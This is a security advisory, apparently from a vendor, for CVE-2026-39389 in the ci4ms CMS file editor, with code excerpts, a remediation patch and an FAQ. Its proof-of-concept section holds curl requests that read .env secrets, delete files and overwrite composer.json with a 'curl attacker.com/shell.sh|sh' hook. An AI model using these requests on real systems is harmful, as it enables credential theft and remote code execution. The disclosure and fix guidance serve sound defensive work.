CVE-2026-39389

The Fileeditor controller defines a hiddenItems array containing security-sensitive paths (.env, composer.json, vendor/, .git/) but only enforces this protection in the listFiles() method. The readFile(), saveFile(), deleteFileOrFolder(), renameFile(), createFile(), and createFolder() endpoints perform no hidden items validation, allowing direct API access to files that are intended to be protected. A backend user with only fileeditor.read permission can exfiltrate application secrets from .env, and a user with fileeditor.update permission can overwrite composer.json to achieve remote code execution.

Details

The hiddenItems array is defined at modules/Fileeditor/Controllers/Fileeditor.php:10-26:

protected $hiddenItems = [
    '.git', '.github', '.idea', '.vscode',
    'node_modules', 'vendor', 'writable',
    '.env', 'env', 'composer.json', 'composer.lock',
    'tests', 'spark', 'phpunit.xml.dist', 'preload.php'
];

This array is checked only in listFiles() at lines 45-48 and 64:

// Line 45-48 - path component check
foreach ($pathParts as $part) {
    if (in_array($part, $this->hiddenItems)) {
        return $this->failForbidden();
    }
}
// Line 64 - directory listing filter
if (in_array($name, $this->hiddenItems)) continue;

However, readFile() (line 76) performs neither a hiddenItems check nor an allowedFileTypes() check:

public function readFile()
{
    // ... validation ...
    $path = $this->request->getVar('path');
    $fullPath = realpath(ROOTPATH . $path);
    if (!$fullPath || !is_file($fullPath) || strpos($fullPath, realpath(ROOTPATH)) !== 0) {
        return $this->response->setJSON(['error' => '...'])->setStatusCode(400);
    }
    return $this->response->setJSON(['content' => file_get_contents($fullPath)]);
}

This means any file within ROOTPATH, regardless of extension (.php, .env, etc.), can be read by any user with the fileeditor.read permission.

Similarly, saveFile() (line 92) checks allowedFileTypes() but not hiddenItems. Since json is in $allowedExtensions, composer.json (which is explicitly in hiddenItems) can be overwritten:

protected $allowedExtensions = ['css', 'js', 'html', 'txt', 'json', 'sql', 'md'];

deleteFileOrFolder() (line 194) checks neither hiddenItems nor allowedFileTypes().

Compounding factor: CSRF protection is disabled for all fileeditor routes in modules/Fileeditor/Config/FileeditorConfig.php:7-10:

public $csrfExcept = [
    'backend/fileeditor',
    'backend/fileeditor/*',
];

This means the write and delete operations are additionally vulnerable to cross-site request forgery if an authenticated user visits a malicious page.

PoC

Requires an authenticated backend session with fileeditor.read permission granted.

Step 1: Read .env file to extract secrets

curl -s -b 'ci_session=<valid_session_cookie>' \
  'https://target.com/backend/fileeditor/read?path=/.env'

Expected response: JSON containing .env file contents including database credentials, encryption keys, and other secrets.

Step 2: Read PHP configuration files

curl -s -b 'ci_session=<valid_session_cookie>' \
  'https://target.com/backend/fileeditor/read?path=/app/Config/Database.php'

Expected response: Full database configuration PHP source with credentials (note: readFile() has no allowedFileTypes check, so .php files are readable).

Step 3: Overwrite composer.json for RCE (requires fileeditor.update permission)

curl -s -b 'ci_session=<valid_session_cookie>' \
  -X POST 'https://target.com/backend/fileeditor/save' \
  -d 'path=/composer.json' \
  -d 'content={"scripts":{"post-install-cmd":"curl attacker.com/shell.sh|sh"}}'

The next composer install or composer update executes the attacker's script.

Step 4: Delete .env (requires fileeditor.delete permission)

curl -s -b 'ci_session=<valid_session_cookie>' \
  -X POST 'https://target.com/backend/fileeditor/deleteFileOrFolder' \
  -d 'path=/.env'

• Credential disclosure: Any backend user with fileeditor.read permission can read .env (database passwords, encryption keys, API secrets, mail credentials) and any PHP configuration file regardless of extension restrictions.
• Remote code execution: A user with fileeditor.update permission can overwrite composer.json with malicious composer scripts that execute on the next composer install/update.
• Denial of service: A user with fileeditor.delete permission can delete .env or other critical configuration files, causing application failure.
• False security boundary: Administrators who configure fileeditor.read as a limited permission for content editors are unknowingly granting access to all application secrets, since the hiddenItems protection only affects the UI file tree, not the API.

CVE-2026-39389 has a CVSS score of 6.7 (Medium). The vector is network-reachable, high privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.31.4.0); upgrading removes the vulnerable code path.

Kodem intelligence

Apply hiddenItems validation to all endpoints that accept a path parameter. Extract the check into a reusable method and also add allowedFileTypes to readFile():

// Add this method to the Fileeditor controller
private function isHiddenPath(string $path): bool
{
    $pathParts = explode('/', trim($path, '/'));
    foreach ($pathParts as $part) {
        if (in_array($part, $this->hiddenItems)) {
            return true;
        }
    }
    return false;
}

// Then add to readFile(), saveFile(), renameFile(), createFile(), 
// createFolder(), and deleteFileOrFolder():
if ($this->isHiddenPath($path)) {
    return $this->failForbidden();
}

// Additionally, add allowedFileTypes check to readFile():
if (!$this->allowedFileTypes($fullPath)) {
    return $this->failForbidden();
}

Also re-enable CSRF protection by removing the CSRF exemption in FileeditorConfig.php (lines 7-10) and ensuring the frontend sends CSRF tokens with requests.

1. What is CVE-2026-39389? CVE-2026-39389 is a medium-severity security vulnerability in ci4-cms-erp/ci4ms (composer), affecting versions <= 0.31.3.0. It is fixed in 0.31.4.0.
2. How severe is CVE-2026-39389? CVE-2026-39389 has a CVSS score of 6.7 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of ci4-cms-erp/ci4ms are affected by CVE-2026-39389? ci4-cms-erp/ci4ms (composer) versions <= 0.31.3.0 is affected.
4. Is there a fix for CVE-2026-39389? Yes. CVE-2026-39389 is fixed in 0.31.4.0. Upgrade to this version or later.
5. Is CVE-2026-39389 exploitable, and should I be worried? Whether CVE-2026-39389 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-39389 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-39389? Upgrade ci4-cms-erp/ci4ms to 0.31.4.0 or later.